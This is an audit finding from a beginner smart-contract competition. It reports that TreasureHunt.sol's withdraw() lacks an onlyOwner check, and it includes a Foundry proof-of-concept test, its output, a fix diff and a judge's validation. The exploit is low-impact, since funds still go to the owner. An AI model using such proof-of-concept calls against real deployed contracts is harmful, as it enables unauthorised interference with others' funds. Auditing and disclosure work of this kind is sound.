SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: low
Valid

Missing access control on `TreasureHunt.sol::withdraw()` allowing anyone to withdraw funds

wankleven

Root + Impact

The withdraw() function lacks an onlyOwner modifier,
allowing any address to trigger a withdrawal of all contract
funds.


Description

The withdraw() function is an admin function intended to let the owner recover leftover ETH after all treasures have been claimed. Only the owner should be able to call this function since it controls the timing and execution of fund recovery.

The function is missing an onlyOwner access control check, meaning any external address can call it. While funds are still sent to the owner address, any attacker can forcibly trigger the withdrawal at will once the hunt ends, completely removing the owner's control over timing.

//@audit: anybody can withdraw funds here
@> function withdraw() external {
require(claimsCount >= MAX_TREASURES, "HUNT_NOT_OVER");
​
uint256 balance = address(this).balance;
require(balance > 0, "NO_FUNDS_TO_WITHDRAW");
(bool sent, ) = owner.call{value: balance}("");
require(sent, "ETH_TRANSFER_FAILED");
​
emit Withdrawn(balance, address(this).balance);
}

Risk

Likelihood:

  • Any externally owned account can call withdraw() once claimsCount >= MAX_TREASURES, requiring no special privileges or knowledge beyond reading the contract state


The condition claimsCount >= MAX_TREASURES is publicly readable on-chain, meaning any bot or attacker can monitor and trigger the withdrawal the moment the last treasure is claimed

Impact:

  • The owner permanently loses control over when funds are withdrawn, since any third party can force the transaction at any time after the hunt ends


  • Any griefing attacker or MEV bot can front-run the owner's own withdrawal transaction, causing unexpected fund movement and breaking any owner-side accounting or timing assumptions


Proof of Concept

function testAnyoneCanWithdraw() public {
// ============================================================
// PROOF OF CONCEPT: Missing access control on withdraw()
// Anyone can call withdraw() - not just the owner
// ============================================================
​
// Step 1 - Confirm attacker is not the owner
assert(attacker != owner);
console.log("Attacker address:", attacker);
console.log("Owner address: ", owner);
​
// Step 2 - Manipulate claimsCount to 10 so HUNT_NOT_OVER
// check passes. claimsCount is at storage slot 2.
vm.store(
address(hunt),
bytes32(uint256(2)),
bytes32(uint256(10))
);
​
// Confirm claimsCount is now 10
assertEq(hunt.getClaimsCount(), 10, "claimsCount should be 10");
console.log("claimsCount set to:", hunt.getClaimsCount());
​
// Step 3 - Record balances before the attack
uint256 ownerBalanceBefore = owner.balance;
uint256 contractBalanceBefore = hunt.getContractBalance();
console.log("Contract balance before:", contractBalanceBefore);
console.log("Owner balance before: ", ownerBalanceBefore);
​
// Step 4 - Attacker calls withdraw()
// If access control existed this would revert with ONLY_OWNER
// But it doesnt so it succeeds!
vm.prank(attacker);
hunt.withdraw();
​
// Step 5 - Record balances after the attack
uint256 ownerBalanceAfter = owner.balance;
uint256 contractBalanceAfter = hunt.getContractBalance();
console.log("Contract balance after:", contractBalanceAfter);
console.log("Owner balance after: ", ownerBalanceAfter);
​
// Step 6 - Assert the attack worked
assertEq(contractBalanceAfter, 0, "Contract should be drained");
assertGt(ownerBalanceAfter, ownerBalanceBefore, "Owner balance increased");
console.log("PROOF: Attacker successfully triggered withdraw()!");
console.log("Attacker was NOT the owner but withdraw() still worked!");
}
​
​

The result After running the test:

​
Ran 1 test for contracts/test/TreasureHunt.t.sol:TreasureHuntTest
[PASS] testAnyoneCanWithdraw() (gas: 28751)
Logs:
Attacker address: 0x0000000000000000000000000000000000000Bad
Owner address: 0x00000000000000000000000000000000DeaDBeef
claimsCount set to: 10
Contract balance before: 100000000000000000000
Owner balance before: 100000000000000000000
Contract balance after: 0
Owner balance after: 200000000000000000000
PROOF: Attacker successfully triggered withdraw()!
Attacker was NOT the owner but withdraw() still worked!
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.84ms (4.82ms CPU time)
​
Ran 1 test suite in 70.81ms (18.84ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
​

Recommended Mitigation

Add the already-defined onlyOwner modifier to the withdraw() function:

- function withdraw() external {
+ function withdraw() external onlyOwner {
require(claimsCount >= MAX_TREASURES, "HUNT_NOT_OVER");
uint256 balance = address(this).balance;
require(balance > 0, "NO_FUNDS_TO_WITHDRAW");
(bool sent, ) = owner.call{value: balance}("");
require(sent, "ETH_TRANSFER_FAILED");
emit Withdrawn(balance, address(this).balance);
}
Updates

Lead Judging Commences

s3mvl4d Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

broken access control in withdraw()

The `withdraw()` function is intended as an owner-only post-hunt recovery function, but the implementation does not actually enforce any ownership check before transferring the full remaining balance to owner. The function only requires that `claimsCount >= MAX_TREASURES` and that the contract balance is nonzero, after which it sends all ETH to the stored owner address regardless of who called the function. Therefore, the access control on the function itself is incomplete because any external account can trigger the withdrawal path once the hunt is considered over.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!